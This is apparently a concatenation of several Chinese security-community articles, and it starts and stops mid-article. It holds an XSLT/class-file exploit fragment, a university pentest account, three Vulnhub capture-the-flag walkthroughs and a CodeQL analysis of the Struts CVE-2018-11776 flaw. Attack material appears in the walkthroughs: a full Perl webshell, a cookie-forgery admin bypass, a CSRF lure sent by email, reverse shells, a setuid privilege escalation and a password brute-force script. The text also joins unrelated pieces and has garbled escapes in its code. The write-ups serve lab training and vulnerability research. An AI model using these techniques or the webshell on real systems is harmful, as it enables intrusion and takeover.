<xsl:value-of select="at:new()" xmlns:at="org.apache.xalan.xsltc.runtime.AbstractTranslet"/>
可通过如下代码进行验证，可以看到 `AbstractTranslet.` 方法引用已经处于一个比较低位的常量池位置
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template>
<xsl:value-of select="at:new()" xmlns:at="org.apache.xalan.xsltc.runtime.AbstractTranslet"/>
<!-- 填充大量常量 <t t1='t2' t3='t4'... /> -->
</xsl:template>
</xsl:stylesheet>
但是对于 `org.apache.xalan.xsltc.runtime.AbstractTranslet` 类来说，由于是 `抽象类`，按理说不能调用
`new()` 方法进行实例化操作，所以在获取 `AbstractTranslet.` 方法引用这里卡了很久
但是从 `org.apache.xalan.xsltc.compiler.FunctionCall#findConstructors()` 中可以看到，通过
`反射` 的方式获取了构造方法
并且直到添加方法引用之前(`org.apache.xalan.xsltc.compiler.FunctionCall#translate`) 都不会检查
`XSLT 样式表中传入的类` 是否为 `抽象类`，因此通过这种方式解决了 `AbstractTranslet.` 方法引用加载的问题
### methods[1].attributes[2]
同样通过控制 `attribute_length` 长度吞噬掉剩余的垃圾字符，由于需要保留 `ClassFile` 尾部的 `SourceFile`
属性，所以长度设置为：`从 0x12345678 -> 保留尾部 10 个字节(attributes_count +
attributes)`，至此完整的利用就构造好了
ClassFile {
...
attribute_info attributes[attributes_count]; // 属性表
}
## 0x07 CheckList
这里总结一下需要检查的一些项：
1. `#262 (0x0106)` 需要指向 `Class` 引用 `com.sun.org.apache.xalan.internal.lib.ExsltStrings`
2. 确认 `method[0].attribute_name_index` 指向正确的 `Utf8` 引用
3. 确认 `access_flags` 位于常量池 `#1794` 项
4. 确认 `常量池大小` 为 `0x0702` (可以 Debug `org.apache.bcel.classfile.ConstantPool#dump` 方法)
5. 确认各个所需常量是否指向正确的常量池位置
6. 确认 `methods[1].attributes[2].attribute_length` 是否为：从 `0x12345678` -> `保留末尾 10 个字节`
## 0x06 - 完整利用
* gist：https://gist.github.com/thanatoskira/07dd6124f7d8197b48bc9e2ce900937f
* 注意事项:
由于文件名也会添加至常量池，为避免影响对其他常量位置造成变动，长度需保证一致(6)，`select -> abcdef`
运行前最好删除已生成的 `*.class` 文件(文件内容发生变动则不用)
## 参考链接
* [https://bugs.chromium.org/p/project-zero/issues/detail?id=2290&continueFlag=5f0a104405cabc4e1e6027013da73bfc](https://bugs.chromium.org/p/project-zero/issues/detail?id=2290&continueFlag=5f0a104405cabc4e1e6027013da73bfc)
* <https://docs.oracle.com/javase/specs/jvms/se7/html/jvms-4.html#jvms-4.4>
* <https://en.wikipedia.org/wiki/List_of_Java_bytecode_instructions>
* <https://docs.oracle.com/cd/E18283_01/appdev.112/e10708/adx_j_xslt.htm#i1028393>
* <https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSLT Injection/README.md>
* * * | 社区文章 |
## 写在前面
以下涉及到的漏洞已提交至edusrc及相关官方平台
不足之处，还请各位大佬指证。
## 确定站点
这里我是对点渗透的，主站域名非常好找
拿到主站域名后，先扫一下子域，尤其在对大型的edu渗透测试时，子域并不在主站的ip下，从其他c段打入的几率大大增加。
扫描子域：
体量还是相当大的。
（这个小工具可以将域名和ip对应起来，看起来非常舒服。）
## c段收集
使用的就是fofa，不过在这里我使用了一个fofa的gui界面，github上找的小工具，看起来很舒服
上面可以勾选显示标题等等，一目了然就非常舒服，尤其是有nday的站，特征非常明显
贴个链接：<https://github.com/wgpsec/fofa_viewer>
## 寻找薄弱点
这里就是慢慢看了，在c段收集中会发现一些点，尤其是带有登录注册的点。
翻了好几个带登录的站，看起来都像一套cms，看看源码啥的，发现指纹
这套cms本身是有漏洞的，fofa上查查类似站
因为这套系统已经出了很久了，查一查先
cnvd上有不少
随便搜一搜也有。
复现了几个比较容易出现的，就出了。（注意识别版本）
抓一个高危出来说说：
编号：CNVD-2016-08295
代码：
以ue_separate_ue为分隔符来进行分割，之后直接调用saveRemoteImage函数
跟进：
就没有做什么筛选
最后这个漏洞也是验证成功了
## 其他收获
在手动查洞的时候也不要忘了一些自动化的攻防工具，比如静态扫描的xray，goby等等。因为没有什么细节，就不再赘述了。也收获到了一些xss等中低危洞。 | 社区文章 |
# 靶机渗透三部曲——W34KN3SS+myhouse7+Casino Royale
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
本文对三个web靶机进行渗透分析，由易到难，循序渐进，分享出来，共同交流学习。
## W34KN3SS
靶机地址：[Download](https://download.vulnhub.com/w34kn3ss/W34KN3SS.ova)
靶机直接扔到vmware里，然后查看目标靶机IP地址信息：
上nmap查看靶机所开放的端口信息：
可以看到22、80、443三个端口，首先查看80端口的web信息
是apache的默认网页，没有发现有价值的信息，上wfuzz爆破一下站点的子目录：
访问 **blog** 、 **test** 子目录，均没有发现很有价值的线索。
再来回看端口扫描结果，在443端口的扫描结果中，观察到ssl-cert相关信息，将`weakness.jth`添加到本地hosts文件中，然后访问该域名：
爆破该域名的子目录：
这里发现了比较敏感的提示信息 **private** 目录，访问子目录发现了两个重要的文件：
两个文件的内容如下：
notes.txt:
this key was generated by openssl 0.9.8c-1
mykey.pub:
ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEApC39uhie9gZahjiiMo+k8DOqKLujcZMN1bESzSLT8H5jRGj8n1FFqjJw27Nu5JYTI73Szhg/uoeMOfECHNzGj7GtoMqwh38clgVjQ7Qzb47/kguAeWMUcUHrCBz9KsN+7eNTb5cfu0O0QgY+DoLxuwfVufRVNcvaNyo0VS1dAJWgDnskJJRD+46RlkUyVNhwegA0QRj9Salmpssp+z5wq7KBPL1S982QwkdhyvKg3dMy29j/C5sIIqM/mlqilhuidwo1ozjQlU2+yAVo5XrWDo0qVzzxsnTxB5JAfF7ifoDZp2yczZg+ZavtmfItQt1Vac1vSuBPCpTqkjE/4Iklgw== root@targetcluster
根据提示信息判断，0.9.8c-1版本openssl产生的key应该是存在可利用漏洞的：
`searchsploit`搜索一下，如图所示，由于伪随机数生成器可预测，导致SSH会被暴力破解，查看漏洞利用脚本内的信息：
根据描述，我们将`5622.tar.bz2`文件下载并解压，而后根据`mykey.pub`文件内的base64编码信息进行搜索：
如图所示，成功搜索到对应的私钥信息，利用此凭证登录SSH
拿到当前目录下`user.txt`的 **flag** 。工作进行到这里，并没有结束，因为靶机要求以root权限登录。因此需要继续进行～
在当前目录下还有一个code文件，是一个python编译后的文件。最直接的想法就是反编译。将code文件取回到本机，扔到[在线网站](https://python-decompiler.com/)进行反编译，结果如下：
可以发现其貌似是一个登录凭证：
n30:dMASDNB!!#B!#!#33
尝试利用上述信息，成功获取root权限，并拿到`root.txt`的flag：
## myhouse7
**靶机简介**
靶机链接：<https://thepcn3rd.blogspot.com/p/myhouse7.html>
> 目标靶机上运行着多个docker
> container，靶机有2个Flag，每个container有3个Flag，一共20个Flag。Flag的格式如下：`{{tryharder:xxx}}`，其中xxx最多为4位数。目标靶机内的整体网络架构大致如下图所示：
#### 基本信息搜集
首先`netdiscover`侦查靶机的IP信息
然后，`nmap`扫描靶机的端口信息
显然，靶机开放的端口包括：`22,25,443,8008,10000,20000`。上述端口扫描用的默认脚本，由于考虑到本靶机包含多个docker共20个Flag，为避免产生疏漏，进一步利用参数`-P1-65535`对所有端口进行遍历扫描。
结果，果然有意外收获，开放的端口还包括`8111,8112,8115`，而8111端口的扫描更是直接收获到一个Flag`{{tryharder:114}}`
针对上述开放的端口，可有针对性地开展下一步工作：
* 对22 ssh 端口尝试爆破
* 对各具体http的端口，寻找web的漏洞利用点
下面的行文将针对每一个container展开分析，而在真正的实践过程中，则是对搜集信息进行综合利用。
#### 443 web container
web访问各端口的http服务，发现443端口指向如下页面，页面仅有简单的图片和文字，直接审源码，拿到一枚Flag，`{{tryharder:999}}`
然后，对该站点进行子目录爆破，可利用的工具有`gobuster`和`wfuzz`，此处使用后者，利用参数`--hc 404 --hl
0`，过滤掉404状态码的结果以及返回为空的结果。
爆破结果如上图，可以观察到两个可疑的结果`f`和`flag`，然后又拿到2个Flag，`{{tryharder:217}},{{tryharder:714}}`
至此，针对此web container的3个Flag已全部拿到。
#### 20000 web host
访问20000端口的页面，直接在主页拿到一枚flag，`{{tryharder:1}}`此flag与后文一flag重复。
根据其页面信息提示，该页面很有可能是检测其靶机中各container的运行状态，因而该web应该是位于靶机host的，而非docker，因此该站点应该是包含2个flag的。
那么，另一个flag藏在哪里呢？就在该页面中。。。隐藏的`input`，差点儿就漏过去了。。
#### 8111 web container
8111端口的web页面似乎没有重要信息，下面依然用`wfuzz`爆破8111端口的web
`server-status`下发现的Flag在前文已经拿到：
而图中的`index.php`则给了暗示，我们尝试扫描该站点下是否还存在其他的php文件，结果果然有收获：
查看一下`b.php`和`c.php`的内容：
其中`b.php`页面中的信息耐人寻味，其向`c.php`提交的`value="ls -lha
/etc/backup"`，其`name=command`，似乎在暗示，`b.php`向`c.php`提交shell命令，而`c.php`返回结果。
web访问页面，验证了我们上文的猜想。这里看到了`/etc/backup`目录下存在`flag.txt`文件，因此，上`burpsuite`修改`value`的命令来拿`flag:{{tryharder:1}}`。
继续修改`command`，看到在该网站的根目录下存在着另一个flag文件，成功拿到该container的第三个flag`{{tryharder:511}}`
#### 8115 web container
访问主页面，看到一句充满暗示性的语句：`I stored a backup in /timelock/backup`
果然在其目录下发现了不得了的东西：
继续浏览其他子页面，发现了`timeclock`页面，需要登录口令，猜测其是否存在弱口令的情况。
将`all.zip`文件下载回来，在其内的`timeclock.sql`内发现了如下sql语句
猜测可能为弱口令`admin`，果然成功登录，在其内部发现了一用户列表，包含了用户名和密码，各账号的用户名与口令相同，其中`admin、larryjr、heather`三个用户在后续会用到。
先暂时放下数据库中的信息，回到`browse_backups.php`页面，其提示信息如下，暗示可执行shell：
查看靶机上是否`perl、python、Ruby`等环境，以便构造反向shell。最终，利用`python3`成功实现反向shell。
如此以来~我们便可以干很多事情了~
由于我们已经知道了flag的字符串格式，我们直接在web目录下对文件内容进行字符串匹配：
grep -nr tryharder *
结果真的就如我们所愿…拿到了该web docker下的三个全部flag。
#### mysql db container
上文的`{{tryharder:737}}`位于`/var/www/html/anchor/config/db.php`文件中，猜测其可能是web的数据库配置文件，在文件具体内容中，找到了数据库的信息
hostname -> 172.31.20.10
port -> 3306
username -> root
password -> anchordb
因此，下一步工作尝试对`mysql`的`container`进行渗透
当前web环境中并不包含Mysql环境，因此先通过`wget`在web环境中导入mysql环境，然后登录到mysql数据库中
分别在`flag`数据库的`flag`表和`anchor`数据库的`anchor_users`表中拿到两个flag
数据库中一顿翻江倒海之后，并没有找到第三个flag，猜测其可能不再数据库表项中。尝试利用数据库注入的`LOAD_FILE`来查找mysql
container 中是否存在类似于flag的文件。
至此，关于mysql db container的3枚flag已收齐。
#### smb container
至此，好像没有其他可利用的信息了。因此，尝试对22端口的ssh进行爆破，而爆破所用的字典首先想到的是在8115端口的web中发现的`admin、larryjr、heather`，利用hydra进行爆破：
吃惊脸~拿到了ssh的账户`admin,admin`。登录到靶机后的信息如下图，admin的权限为all，这意味着我们可以彻底控制目标靶机，甚至查看其上运行的各个docker
container的状态。这应该是靶机创作者不小心的失误，而非靶机创作者的初衷。因此，后续的过程，我们将会控制权限的使用。
查看host上的网络信息，发现其内部存在多个子网段：
上nmap对各网段扫描，寻找可利用的信息，在对`172.31.30.0/24`的网段进行扫描时，发现如下信息：
而139端口、445端口是SMB协议的端口，为对这两个端口进行深入的分析，先在本地到其端口之间建立两条ssh隧道：
则下一步对本地的139和445端口的操作，会被映射到靶机内网的对应端口上。
下面用smbmap对本地进行扫描，虽然看起来有些奇怪，但由于ssh隧道的存在，最终扫描的是172.31.30.24机器。
在445端口上发现了两个Disk信息: **users** 和 **companyInfo**
，但此时还没有相关权限，需要相关的用户名和口令。这里再次想到了前文收集到的`heather、larryjr`两个用户。尝试一下，果然正确。
用smb客户端`smbclient`分别登录到`users`和`companyInfo`中。
如上图所示，再次拿到了两个Flag。而第三枚flag，根据`hint.txt`提示，是`moreinfo.7z`文件的解压密码，格式满足`{{tryharder:xx}}`，xx为两位数。利用的思路很清晰：穷举爆破，利用如下代码，最终拿到的flag为`{{tryharder:77}}`：
import os
for i in range(101):
passwd = "{{tryharder:%02d}}"%(i)
cmd = ("7z e -aoa -p{0} moreinfo.7z").format(passwd)
r = os.popen(cmd)
info = r.read()
if info.find("Errors") == -1:
print passwd
#### 24 ssh container
在靶机host上再次对172.31.20.0/24网段进行扫描：
发现在172.31.20.194的地址的24端口上运行着一个未知服务，尝试ncat连接过去，发现其实运行的是ssh服务：
同样，为方便后续操作，在本地20024端口与172.31.20.194:24间建立一条ssh隧道：
对于此ssh端口，之前搜集掌握的信息较少，因此只能采取爆破的方法，将前文收集的各类用户名和口令汇集成字典进行爆破：
成功爆破，ssh登录本地的20024端口，实质上是登录到靶机内网172.31.20.194:24的ssh服务，登录后就发现了两枚flag。
ssh登录到内网机器后，相当于我们已经掌控了对应机器，为简化寻找第三枚flag的操作，直接用grep搜索匹配特定格式的字符串。
## casino royale
上面两个靶机还稍显简单，下面来看casino royale靶机，听这名字“皇家赌场”，还蛮有气势的。
靶机地址：[Download](https://download.vulnhub.com/casinoroyale/CasinoRoyale.ova)
老套路，上来查看靶机IP信息，然后扫描端口信息：
开放了4个端口：21-ftp，25-smtp，80-http，8081-http
由80web端口入手：
页面上是个so cool的背影….没有重要信息，进行子目录爆破：
看到有`index.php`和`phpmyadmin`等线索，首先分析前者：
由上图可以观察到，该页面提到了`pokermax poker league
software`，自然想到查看其是否存在已知的可利用漏洞，`searchsploit`结果如下：
果然有漏洞，具体漏洞信息如下图，其表明存在着不安全的Cookie处理流程，可实现以admin登录：
根据漏洞提示，直接访问`/pokeradmin/configure.php`页面，会跳转到登录界面：
在实际的摸索过程中，发现这一步可采用2种方法：
方法一：利用poker League-insecure cookie handling 直接绕过登录
利用WEB开发者工具的控制台，通过`javascript:document.cookie="ValidUserAdmin=admin"`
绕过`/pokeradmin/index.php`，直接以管理员身份跳转到`/pokeradmin/configure.php`页面，在页面内直接观察到管理员口令信息：
方法二：利用`sqlmap`尝试获取数据库信息
发现数据库为： **pokerleague** ，尝试从数据库中获取管理员登录信息
如图所示，从数据库中拿到的管理员信息与方法1中的信息是一致的。
继续进行～
在管理员的`configure.php`页面内，根据提示，将`casino-royale.local`添加到本地的`/etc/hosts`文件内：
继续在管理员页面内寻找信息，在`Manage
Players`页面内看到多个用户的信息，其中`Valenka`用户具有email链接，并在其用户信息内发现了新的链接：`/vip-client-portfolios/?uri=blog`
访问新链接，发现其为 **Snowfox CMS**
在页面内发现了重要的提示信息，要求向`valenka`发送邮件信息。
先来查看一下关于 **Snowfox CMS**
的信息，`searchsploit`找到该架构的漏洞和利用相关信息，为CSRF跨站请求伪造漏洞，利用该漏洞可获得管理员权限账户：
根据提示，在本机`/var/www/html`路径下新建`1.html`文件，将上述内容拷入其中，并对部分内容进行修改如下：
然后开启本机的apache服务。
根据靶机 **Snowfox CMS** 页面的提示信息，下一步利用25端口向靶机发送邮件信息。
查阅资料 **<https://www.thomas-krenn.com/en/wiki/Test_TCP_Port_25_(smtp)_access_with_telnet>**
，利用telnet连接到25端口后发送邮件的大致流程为：
EHLO test.example.com
MAIL FROM:<SENDERADDRESS>
RCPT TO:<RECIPIENTADDRESS>
DATA
Subject: Testmessage
(Blank line, press Enter again)
This is a test.
(Blank line, press Enter again)
.
QUIT
这里需要注意的是，靶机 **Snowfox CMS** 页面提示到，邮件的`Subject`必须是一个已知的用户，否则邮件不会被靶机接收。邮件发送详情如下：
邮件发送到目标靶机后，在本机apache的日志文件中，看到了靶机对`1.html`的访问记录：
此时，漏洞已触发完成，可利用在`1.html`内写入的用户名和口令作为管理员账户登录到 **Snowfox CMS** 系统中：
随后，在其用户管理页面中，在`le`用户信息中找到了新的链接：
访问一下：
在其源码中，看到了进一步的提示信息：
其提示信息大致意思是说可以向该页面`post`一个`xml`文件，在链接
**<https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Processing>**
上找到了详情信息，该步骤的主要内容是关于XML External Entity (XXE) Processing的。
构造一个`xml.txt`文件如下，通过`curl`命令，`post`到该页面中：
从返回结果中看到了ftp的用户名，由于21端口是开放的，且上面页面源码的提示信息说到ftp的密码是比较简单的，因此尝试爆破ftp：
爆破成功，利用该口令信息登录ftp：
浏览一下信息，发现可通过浏览器直接访问该目录：
几个文件内并没有有价值的信息，而`hello_world.pl`文件则给了我们暗示，我们尝试通过ftp上传一个webshell的perl文件：
`cmd.pl`内容如下，来自[github](https://github.com/tennc/webshell/blob/master/fuzzdb-webshell/pl-cgi/cmd.pl)
#!/usr/bin/perl
#
# PerlKit-0.1 - http://www.t0s.org
#
# cmd.pl: Run commands on a webserver
use strict;
my ($cmd, %FORM);
$|=1;
print "Content-Type: text/htmlrn";
print "rn";
# Get parameters
%FORM = parse_parameters($ENV{'QUERY_STRING'});
if(defined $FORM{'cmd'}) {
$cmd = $FORM{'cmd'};
}
print '<HTML>
<body>
<form action="" method="GET">
<input type="text" name="cmd" size=45 value="' . $cmd . '">
<input type="submit" value="Run">
</form>
<pre>';
if(defined $FORM{'cmd'}) {
print "Results of '$cmd' execution:nn";
print "-"x80;
print "n";
open(CMD, "($cmd) 2>&1 |") || print "Could not execute command";
while(<CMD>) {
print;
}
close(CMD);
print "-"x80;
print "n";
}
print "</pre>";
sub parse_parameters ($) {
my %ret;
my $input = shift;
foreach my $pair (split('&', $input)) {
my ($var, $value) = split('=', $pair, 2);
if($var) {
$value =~ s/+/ /g ;
$value =~ s/%(..)/pack('c',hex($1))/eg;
$ret{$var} = $value;
}
}
return %ret;
}
检验一下，该shell的效果还是很好滴：
在此基础上，直接利用该webshell拿下一个回连本地1234端口的shell：
拿到shell，当前用户为`www-data`，在路径`/opt/casino-royale`下发现了新的线索，该`index.html`页面刚好是`8081`端口对应的页面，根据`index.html`的内容可知，其会调用`collect.php`，而`collect.php`则会调用`casino-data-collection.py`脚本
脚本`casino-data-collection.py`属于`le`用户，而当前`www-data`组对`casino-data-collection.py`脚本具有可写权限，我们可以写入一个反向python
shell，这样当点击web界面的按钮时，即可获得一个`le`用户权限的反向shell：
获得新shell，当前用户变更为`le`。
继续分析这几个文件，`mi6_detect_test`文件为`root`所有，但其他用户可执行，且设置了`setuid`标志位，而`run.sh`为`le`所有，具有读写执行权限，而在分析过程中发现，前者会调用后者。
因此利用思路为：在`run.sh`中写入`/bin/bash`，这样`mi6_detect_test`执行时即获得了root权限的shell：
拿到root权限，执行`/root/flag/flag.sh`文件，前往web的8082端口～
Congratulations!! | 社区文章 |
原文链接：https://lgtm.com/blog/apache_struts_CVE-2018-11776
## 前言
2018年4月，我向Struts安全小组报告了在Apache Struts新发现的一个远程代码执行漏洞，漏洞已被标记为2018-11776
(S2-057)，在某些配置下,如果一个服务器上运行了Struts，那么这个漏洞就会出现，或者访问特定的URL，这个漏洞也会出现。有关Struts的版本和配置受影响的详细信息、缓解步骤和披露过程，请参见博客。
这一发现是我对ApacheStruts安全性研究的一部分，在这篇文章中，我将介绍发现漏洞的过程。我将解释如何使用已知的漏洞来获取Struts内部运行的信息，并创建封装Struts-specific概念的QL查询，运行这些查询后问题代码就会被标出来。这些查询被托管在GitHub上，随着研究的继续，我们将向这个存储库添加更多的查询和库，以支持Struts和其他项目的安全性研究。
## 探寻攻击面
许多安全漏洞涉及到的数据，一方面可能是它们的来源不受信任，比如有的数据来源于用户的输入，也可能是数据使用方式的问题，例如，SQL查询、反序列化、其他一些解释语言，等等。QL让搜索这种类型的漏洞变得容易，您只需描述各种资料，然后DataFlow
library就能完成所有的工作。对于一个特定的项目来说，查看该软件较旧版本的已知漏洞，就可以让你轻松地找到你想要的各种资料。
在这次调查中，我首先查看了rce漏洞S2-032 (CVE-2016-3081), S2-033 (CVE-2016-3687)和S2-037
(CVE-2016-4438)。与Struts中的许多其他RCEs一样，这些用户们不可靠的输入被认定为OGNL表达式，该表达式允许攻击者在服务器上运行任意代码。这三个漏洞特别有趣，不仅因为它们让我们对Struts的内部工作有了一些深入的了解，更重要的是，相同的问题居然需要三次尝试才能解决！
这三个问题都是让methodName作为OgnlUtil::getValue()的参数，从而传递远程输入。
String methodName = proxy.getMethod(); //<--- untrusted source, but where from?
LOG.debug("Executing action method = {}", methodName);
String timerKey = "invokeAction: " + proxy.getActionName();
try {
UtilTimerStack.push(timerKey);
Object methodResult;
try {
methodResult = ognlUtil.getValue(methodName + "()", getStack().getContext(), action); //<--- RCE
这里的proxy包括ActionProxy，这是一个接口。从它的定义看，除了getMethod()(它在上面的代码中用来表示受污染的变量methodName)还有各种各样的方法，比如getActionName()和getNamespace()，它们可能会从URL返回信息。因此，我首先假设所有这些方法都可能返回不受信任的输入。(在以后的文章中，我将深入研究这些输入的来源。)
现在，我们可以开始使用QL对这些不受信任的源进行建模：
class ActionProxyGetMethod extends Method {
ActionProxyGetMethod() {
getDeclaringType().getASupertype*().hasQualifiedName("com.opensymphony.xwork2", "ActionProxy") and
(
hasName("getMethod") or
hasName("getNamespace") or
hasName("getActionName")
)
}
}
predicate isActionProxySource(DataFlow::Node source) {
source.asExpr().(MethodAccess).getMethod() instanceof ActionProxyGetMethod
}
## 识别OGNL接收器
现在我们已经确定了一些不受信任的来源，下一步是对接收器执行相同的操作。如前所述，许多StrutsRCEs将远程输入解析为OGNL表达式。Struts中有许多函数都将其参数看作是OGNL表达式，在我们首先讨论的三个漏洞中，OgnlUtil::getValue()被使用过，但是在漏洞S2-045
(CVE-2017-5638)中,
TextParseUtil::translateVariables()被使用了。我们可以寻找用于执行OGNL表达式的通用函数，而不仅仅是将这些方法名描述为QL中的单独接收器。我认为OgnlUtil::compileAndExecute()和OgnlUtl::compileAndExecuteMethod()应该是可以的。
我在一个QL的predicate中对它们进行了描述，如下所示：
predicate isOgnlSink(DataFlow::Node sink) {
exists(MethodAccess ma | ma.getMethod().hasName("compileAndExecute") or ma.getMethod().hasName("compileAndExecuteMethod") |
ma.getMethod().getDeclaringType().getName().matches("OgnlUtil") and
sink.asExpr() = ma.getArgument(0)
)
}
## 第一次尝试追踪污点
现在我们已经在QL中定义了sources and sinks，我们可以在一个进行污染跟踪的查询中使用这些定义。我们通过定义一个DataFlow
Configuration，并使用DataFlow library来做到它:
class OgnlTaintTrackingCfg extends DataFlow::Configuration {
OgnlTaintTrackingCfg() {
this = "mapping"
}
override predicate isSource(DataFlow::Node source) {
isActionProxySource(source)
}
override predicate isSink(DataFlow::Node sink) {
isOgnlSink(sink)
}
override predicate isAdditionalFlowStep(DataFlow::Node node1, DataFlow::Node node2) {
TaintTracking::localTaintStep(node1, node2) or
exists(Field f, RefType t | node1.asExpr() = f.getAnAssignedValue() and node2.asExpr() = f.getAnAccess() and
node1.asExpr().getEnclosingCallable().getDeclaringType() = t and
node2.asExpr().getEnclosingCallable().getDeclaringType() = t
)
}
}
from OgnlTaintTrackingCfg cfg, DataFlow::Node source, DataFlow::Node sink
where cfg.hasFlow(source, sink)
select source, sink
在这里，我使用先前定义的isActionProxySource和isOgnlSinkpredicate。
注意，我还重写了一个名为isAdditionalFlowStep的predicate，它允许我可以囊括一些污染数据。例如，它允许我将特定项目的信息合并到流程配置中。比如说，如果我有通过某个网络层进行通信的组件，我可以在QL中描述这些网络端点的代码是什么样子的，从而允许DateFlow
Library跟踪受污染的数据。
对于这个特定的查询，我为DataFlow library添加了两个额外的流程步骤。第一项：
TaintTracking::localTaintStep(node1, node2)
包括通过标准Java library调用、字符串操作等，跟踪标准QLTaintTracking
library。第二个附加部分是一个近似值，它允许我通过字段跟踪受污染的数据：
exists(Field f, RefType t | node1.asExpr() = f.getAnAssignedValue() and node2.asExpr() = f.getAnAccess() and
node1.asExpr().getEnclosingCallable().getDeclaringType() = t and
node2.asExpr().getEnclosingCallable().getDeclaringType() = t
)
这意味着，如果一个字段被分配给某个受污染的值，只要这两个表达式都是由相同类型的方法调用的，那么访问该字段的话也就将被认为是污染的。大概来说，这包括以下情况：
public void foo(String taint) {
this.field = taint;
}
public void bar() {
String x = this.field; //x is tainted because field is assigned to tainted value in `foo`
}
如您所见，访问this.field in bar()并不一定会被污染。例如，在bar()之前，if
foo()并不会被调用。因此，默认情况下不包括DataFlow::Configuration这个流程步骤，因为我们不能保证数据总是以这种方式流动。但是，对于搜索漏洞，我发现这个附加内容很有用，并且经常把它们收入到DataFlow::Configuration中。在以后的文章中，我将分享一些类似于此的其他流程步骤，这些步骤对于bug搜索很有用，但由于类似的原因，默认情况下不包括这些步骤。
## 初始结果和查询细化
之前我对最新版本的源代码运行了查询，并查看了结果，我注意到引起s2-032，s2-033和s2-037的原因仍然被查询标记。在查看它发现的其他结果之前，我想了解在代码固定的情况下，为什么这些特定的结果仍然被标记。
如果最初通过净化输入来修复漏洞，在s2-037之后，Struts团队决定用OgnlUtil::callMethod()替换OgnlUtil::getValue().
methodResult = ognlUtil.callMethod(methodName + "()", getStack().getContext(), action);
callMethod()覆盖了对compileAndExecuteMethod()的调用:
public Object callMethod(final String name, final Map<String, Object> context, final Object root) throws OgnlException {
return compileAndExecuteMethod(name, context, new OgnlTask<Object>() {
public Object execute(Object tree) throws OgnlException {
return Ognl.getValue(tree, context, root);
}
});
}
在执行它们之前,compileAndExecuteMethod()将会执行对表达式的附加检查：
private <T> Object compileAndExecuteMethod(String expression, Map<String, Object> context, OgnlTask<T> task) throws OgnlException {
Object tree;
if (enableExpressionCache) {
tree = expressions.get(expression);
if (tree == null) {
tree = Ognl.parseExpression(expression);
checkSimpleMethod(tree, context); //<--- Additional check.
}
这意味着我们可以将·compileAndExecuteMethod()从我们的接收器中移除。
在重新运行查询后，我之前曾强调过调用getMethod()作为接收器，但是现在这个结果消失了。然而，仍然有一些结果突出了DefaultActionInvocation.java代码，这些代码被认为是固定的，比如这个对getActionName()的调用，现在还不清楚从这里到compileAndExecute()接收器的数据路径。
## 路径探索与查询细化
为了研究为什么要标记这个结果，我需要能够看到DataFlow library生成这个结果的每个单独的流程。QL允许您编写特殊的path-problem，从而生成长度可变的路径的查询，这些路径可以逐节点查看，DataFlow library允许您编写输出此数据的查询。
在撰写这篇博文时，lgtm本身还没有查询路径问题的用户界面，因此我需要使用另一个应用程序Semmle：Eclipse
QL。这是一个Eclipse插件，它包含了一个可视化工具，可以帮助您完成污染跟踪中的各个步骤。你可以按照指示免费下载并安装此Eclipse插件。它不仅允许离线分析LGTM.com上的开源项目，而且还为您提供了一个更强大的开发环境。下面的查询可以在semmle-security-java目录下的Semmle/SecurityQueries
Git存储库中找到。您可以按照README.md在Eclipse插件中运行它们的文件。从现在开始，我将囊括来自QL for Eclipse的截图。
首先，在initial.ql中执行查询。在QL for
Eclipse中，一旦从DefaultActionInvocation.java中选取了结果，你就可以看到从源到接收器的详细路径。
在上面的图像中，您可以看到经过几步之后，调用getActionName()返回的值，将会继续流入调用pkg.getactionconfigs (
)返回的对象的get ( )的参数:
String chainedTo = actionName + nameSeparator + resultCode; //actionName comes from `getActionName` somewhere
ActionConfig chainedToConfig = pkg.getActionConfigs().get(chainedTo); //chainedTo contains `actionName` and ended up in the `get` method.
点击下一步，key，进入ValueStackShadowMap::get()：
public Object get(Object key) {
Object value = super.get(key); //<--- key gets tainted?
if ((value == null) && key instanceof String) {
value = valueStack.findValue((String) key); //<--- findValue ended up evaluating `key`
}
return value;
}
由于pkg.getActionConfigs()返回了一个Map，并且ValueStackShadowMap实现了Map的连接，从理论上讲，pkg.getActionConfigs()返回的值可能是ValueStackShadowMap的一种情况。因此，QL
DataFlow library显示了从变量chainedTo，到类value stackshadowmap中，实现get(
)的潜在流程。在实践中，类ValueStackShadowMap属于jasper
reports插件，并且这种类只有在某些情况下会被创建，而这其中没有一个是由pkg.getActionConfigs()返回的。在我看到了这个问题之后，我明白ValueStackShadowMap::get()是不太可能会成功的，所以我去掉了这些结果，并在DataFlow::Configuration中添加了一个barrier:
override predicate isBarrier(DataFlow::Node node) {
exists(Method m | (m.hasName("get") or m.hasName("containsKey")) and
m.getDeclaringType().hasName("ValueStackShadowMap") and
node.getEnclosingCallable() = m
)
}
这个predicate标明，如果污染数据流入get()或containsKey()方法名ValueStackShadowMap，那就不要继续追踪它。(我添加了containsKey()方法名，因为它存在相同的问题。)
在给ActionMapping::toString()进一步增加barrier后(toString()再被任意对象调用时它都将产生问题)，我重新运行查询，但这只给我们留下了很少的结果。您也可以尝试使用Eclipse插件来显示污点路径。
## 新的漏洞
只有10对相关资料，因此这很容易通过手工检查。查看这些路径，我发现有一些路径是无效的，有的是因为它们在测试用例中，所以我在查询中添加了一些障碍以过滤掉这些路径，这留下了一些非常有趣的结果。
就拿ServletActionRedirectResult.java中的来说：
在第一步中，来自调用getNamespace()的源通过变量namespace流入函数ActionMapping的构造参数：
public void execute(ActionInvocation invocation) throws Exception {
actionName = conditionalParse(actionName, invocation);
if (namespace == null) {
namespace = invocation.getProxy().getNamespace(); //<--- source
} else {
namespace = conditionalParse(namespace, invocation);
}
if (method == null) {
method = "";
} else {
method = conditionalParse(method, invocation);
}
String tmpLocation = actionMapper.getUriFromActionMapping(new ActionMapping(actionName, namespace, method, null)); //<--- namespace goes into constructor of ActionMapping
setLocation(tmpLocation);
进一步可以看到，getUriFromActionMapping()返回了使用namespace构造的URL字符串ActionMapping，然后通过变量tmpLocation进入setLocation()的参数中:
setLocation()然后在super class StrutsResultSupport中设置字段location:
public void setLocation(String location) {
this.location = location;
}
然后，在ServletActionResult中调用execute():
String tmpLocation = actionMapper.getUriFromActionMapping(new ActionMapping(actionName, namespace, method, null));
setLocation(tmpLocation);
super.execute(invocation);
通过location字段调用conditionalParse():
public void execute(ActionInvocation invocation) throws Exception {
lastFinalLocation = conditionalParse(location, invocation);
